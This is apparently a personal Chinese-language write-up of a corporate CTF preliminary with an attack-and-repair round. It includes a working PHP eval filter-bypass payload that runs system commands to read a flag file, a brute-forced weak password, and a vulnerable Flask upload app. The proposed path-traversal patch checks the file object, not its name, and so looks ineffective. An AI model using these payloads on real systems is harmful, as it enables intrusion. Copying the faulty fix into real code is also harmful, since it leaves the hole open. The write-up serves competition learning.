集团网络安全竞赛初赛

前言

集团比赛初赛,体验了一下RDG模式,和19年第一次打国赛那个半决赛的赛制有点像,类似于AWDplus,太久没打,一时间不知道怎么去传,后面放出了一个修复的demo,看了之后才明白怎么玩。

简单记录一下:

需要进到源码里面去具体修复,然后再提交压缩包上去check,如果修复成功,就会check通过。这次比赛压缩包的格式是:.tar.gz

把修复好的源码mv到原来的目录下去覆盖,然后去check,需要用到的命令放在update.sh里面,最后被修改的文件加上update.sh一起打包成压缩文件上传,然后check:

demo:

1
2
3
4
5
6
7
update.sh
#! /bin/sh
mv index.php /var/www/html/index.php //根据实际文件名还有文件路径做对应的修改
chmod 777 index.php

然后把我们修改好的index.php文件和update.sh 一起打包成 .tar.gz文件,命令为:tar zcvf update.tar.gz update.sh index.php

最后把update.tar.gz 上传,然后check即可。

web

上游服务器

这个题目给了一个上传的点,一开始看到url格式以为是SSRF打Redis,后面才发现是条件竞争:

image-20240925123137824.png

有一个上传成功,然后后面访问又不存在的过程,早应该想到条件竞争的, 没想到会这么简单。

传一个文件上去,抓包一下,去爆破模块改下payload。

image-20240925123251387.png

然后再用python写一个不停访问的脚本即可:

image-20240925123507753.png

签到题

弱口令爆破,用bp 爆破一下即可,最后登录的口令:admin 654321

easy_rce

这个题目一开始打开是这个界面,以为是java。

image-20240925170023412.png

后面放到kali去扫了一下,发现有index.php文件,于是访问index.php:

1
2
3
4
5
6
7
8
9
10
<?php
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
if (!preg_match('/sess|ion|head|ers|next|file|prev|na|each|rand|strlen|values|reset|info|path|flip|current|dec|bin|pos|env|hex|local|oct|pi|dir|exp|end|log/i', $_GET['code'])) {
eval($_GET['code']);
} else {
die("error");
}
} else {
show_source(__FILE__);
}

很多都被过滤了,但是array_shift() 没有被过滤,get_defined_vars()也没有,最终payload:

?cmd=system('ls');&code=eval(array_shift(array_shift(get_defined_vars())));

image-20240925170504746.png

去根目录下拿flag

?cmd=system('cat /flag');&code=eval(array_shift(array_shift(get_defined_vars())));

MSIC

modbus

附件是一个pcap文件,直接拖到工具一把锁:

image-20240925170806328.png

锁了。

dns流量2

第二个题也是个流量包的题,一开始也是直接放到工具里面看看:

image-20240925170941185.png

发现dns流量,放到wireshark去看下;

image-20240925171030769.png

去kali里面把dns流量提取出来:

tshark -r dns.pcapng -T fields -e dns.qry.name -Y "ip.src==8.8.8.8" -Y "frame.len==99"

发现有一大串0101,把冗余的数据去掉,换行去掉,发现字符个数刚好是841=29*29 ,可以想到01转二维码:

直接跑脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from PIL import Image
from zlib import *
def QR_scan(str):
MAX = int(len(str) ** 0.5)
pic = Image.new("RGB", (MAX, MAX))
i = 0
for y in range(0, MAX):
for x in range(0, MAX):
if (str[i] == '0'):
pic.putpixel([x, y], (0, 0, 0))
else:
pic.putpixel([x, y], (255, 255, 255))
i = i + 1
pic.show()

f = open("misc2.txt", 'r')
str = f.readline()
# print(len(str))
QR_scan(str)

跑出来用微信扫码即可。

txtfile

这个题目一开始给的是16进制的txt,直接改成zip是不行的,这里是放到010里面,新建一个16进制文件,然后导入文件,最后保存改成zip:

image-20240925171546766.png

解压的时候提示说是数字加小写,我选的六位数爆破,没爆破出来,电脑反而蓝屏了。。。

后面给了字典提示,直接放到archpr里面去爆破,得到一个wav音频文件,十分吵。。丢到audacity看频谱可以看到flag

image-20240925171743188.png

RDG

t-mobile

tomcat框架,拖下来扫一下可以发现后门,删掉即可,rm /tomcat/webapps/ROOT/assets/img/icons/.shell.jsp

upload

在/app下把app.py代码拖下来看下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
from flask import Flask
from flask import request, session
from flask import render_template, redirect, render_template_string
import pymysql
import os

db_config = {
'host': '127.0.0.1',
'user': 'root',
'password': os.environ.get('MYSQL_ROOT_PASSWORD', '123456'),
'database': 'test',
}

db = pymysql.connect(**db_config)
cursor = db.cursor()

app = Flask(__name__)
app.secret_key = os.environ.get('SECRET', 'secret')
app.config['MAX_CONTENT_LENGTH'] = 20 * 1024


@app.route('/')
def index():
username = session.get('username')
if not username:
return redirect('/login')
tpl = open('templates/index.html').read()
return render_template_string(tpl % username)


@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
file = request.files['file']
dst = os.path.join('uploads', file.filename)
file.save(dst)
return dst


@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
username = request.form.get('username')
password = request.form.get('password')
sql = "SELECT * from users where username=%s and password=%s"
cursor.execute(sql, (username, password))
data = cursor.fetchall()
print(cursor._executed)
print(data)
if len(data) > 0:
session['username'] = data[0][0]
return redirect('/')
return 'failed'


@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'GET':
return render_template('register.html')

username = request.form.get('username')
password = request.form.get('password')

if len(username) > 20:
return "username is too long"

sql = "SELECT * from users where username=%s"
cursor.execute(sql, (username,))
if len((data := cursor.fetchall())) > 0:
print(data)
return 'username already used'

sql = 'INSERT into users (username, password) values (%s, %s)'
cursor.execute(sql, (username, password))
db.commit()

print(cursor._executed)
return 'success'

if __name__ == '__main__':
app.run('0.0.0.0', 5000)

考虑到这里是upload,所以把重点放在upload函数上,加个过滤就行了:

1
2
3
4
5
6
7
8
9
10
@app.route('/upload', methods=['GET', 'POST'])
def upload():
if request.method == 'GET':
return render_template('upload.html')
file = request.files['file']
if '../' in file:
return "ban !"
dst = os.path.join('uploads', file.filename)
file.save(dst)
return dst

capture the cat

又是tomcat,在 /usr/local/tomcat/conf/下找到web.xml和tomcat-user.xml文件,改下配置:

首先把web.xml文件下的 readonly那里的false改成true,禁止put 。

image-20240925172614205.png

然后tomcat-users.xml我们把密码改下,不让弱口令登录即可:

image-20240925172713979.png

小结

这次RDG有个问题就是找服务所在路径的问题,其实可以通过关键词去搜索:

find / -name php

find / -name xxx